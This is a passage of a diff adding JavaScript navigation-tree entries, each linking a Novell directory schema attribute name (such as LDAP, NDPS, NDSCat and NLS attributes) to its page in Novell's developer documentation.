+ var navElement = navigationLink("ldapPhoto ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3op8zp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAPUserCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1504.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:ARL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1510.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:caCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1528.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:CRL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1534.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:crossCertificatePair ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1540.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Authorized Range ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2co5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Default Range ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2cob.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Domain Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2coh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Label ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2con.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Proposed Label ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2cot.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Maximum Speed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1714.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Maximum Speed Units ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1720.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MHS Send Directory Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1774.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MHS Send Directory Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1780.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Accountant Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1792.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Control Flags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1798.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Database Saved Timestamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1804.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Database Saved Data Image ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1810.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Database Saved Index Image ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1816.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Default Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1822.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Default Public Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1828.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Job Configuration ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1834.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Manager Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1840.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Operator Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1846.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Install List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1852.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Install Timestamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1858.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Queue List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1864.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Siblings ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1870.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Public Printer Install List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1876.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Replace All Client Printers ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1882.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS SMTP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1888.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS User Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1894.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual All Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1900.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Attribute Count ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1906.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1912.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Base Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1918.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Catalog Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1924.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual End Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1930.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Filter ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1936.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Object Count ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1942.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Return Code ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1948.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Scope ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1954.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Search Aliases ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1960.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Start Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1966.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Value Count ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1972.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:All Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1978.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:AttrDefTbl ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1984.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1990.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Auto Dredge ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1996.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Base Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk2002.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:CatalogDB ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk2008.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Catalog List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk2014.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Dredge Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4008.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Filter ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4014.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:IndexDefTbl ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4020.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Indexes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4026.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Label ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4032.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Log ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4038.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Master Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4044.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Max Log Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4050.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Max Retries ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4056.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Max Threads ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4062.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Retry Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4068.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Scope ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4074.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Search Aliases ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4080.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Slave Catalog List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4086.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Start Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4092.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Synch Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4098.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Common Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4200.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Installed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4206.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Peak Installed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4212.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Peak Used ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4218.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Used ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4224.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Hourly Data Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4230.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Database ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4236.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4242.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Service Provider ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4248.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:LSP Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4254.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Owner ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4260.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Peak Installed Data ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4266.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Peak Used Data ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4272.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Product ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4278.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Publisher ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4284.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4290.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Search Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4296.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Summary Update Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4302.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Summary Version ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4308.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Transaction Database ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4314.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Transaction Log Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4320.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Transaction Log Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4326.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Version ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4332.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Consumers ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4344.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Profile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4350.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Service Enabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4356.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Srvc Net Addr ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4362.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Srvc Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4368.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NRD:Registry Data ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4380.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NRD:Registry Index ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4386.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAccessDomain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4494.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAlternateAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4500.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAutoReplyMode ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4506.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailAutoReplyText ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4512.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailDeliveryOption ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4518.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailForwardingAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4524.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailHost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4530.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailMessageStore ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4536.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailProgramDeliveryInfo ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4542.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailQuota ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4548.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:ngComponent ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4566.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicenseEndTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4596.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicensedFor ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4602.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicenseStartTime ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4608.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Page Description Languages ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4710.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
